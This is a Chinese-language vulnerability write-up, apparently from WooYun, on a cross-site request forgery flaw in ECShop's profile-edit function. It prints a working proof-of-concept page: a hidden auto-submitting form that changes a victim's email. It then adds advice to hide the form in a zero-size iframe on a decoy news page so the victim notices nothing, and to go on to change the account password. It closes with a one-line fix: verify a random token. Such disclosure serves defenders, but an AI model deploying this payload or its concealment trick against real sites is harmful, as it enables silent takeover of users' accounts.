修改个人信息处未验证token,可通过一个精心构造的表单强制用户修改邮箱,达到劫持用户的目的,劫持用户账号只需要欺骗目标用户点击一个链接。

<form id="csrf" action="" method="POST"> <input type="hidden" name="email" value="root@wooyun.org"> <input type="hidden" name="extend_field1" value="x@x.com"> <input type="hidden" name="extend_field2" value="123123"> <input type="hidden" name="extend_field3" value="11111111"> <input type="hidden" name="extend_field4" value="11111111"> <input type="hidden" name="extend_field5" value="11111111111"> <input type="hidden" name="sel_question" value="friend_birthday"> <input type="hidden" name="passwd_answer" value="x"> <input type="hidden" name="act" value="act_edit_profile"> </form> <script>csrf.submit()</script>

欺骗用户访问后,会自动提交表单,修改用户邮箱。 


访问前

Ecshop csrf可劫持用户账号及修复

访问时

Ecshop csrf可劫持用户账号及修复

访问后(邮箱被修改)

Ecshop csrf可劫持用户账号及修复

然而,访问这个表单,自动提交后,会跳转到修改成功的页面,被用户看到,这显然不是我们想要的结果。所以,作为一个完美主义者,我们可以准备另一个正常的页面(如一个新闻页面),然后iframe 这个POC,并且height=0,width=0,这样用户可能就会在不经意之间被劫持账号了,代码如下:

<iframe src="POC.htm" height="0" width="0"></iframe>

劫持成功后,就可以去修改密码喽

Ecshop csrf可劫持用户账号及修复


修复方案:

涉及用户信息的操作都应该验证随机的token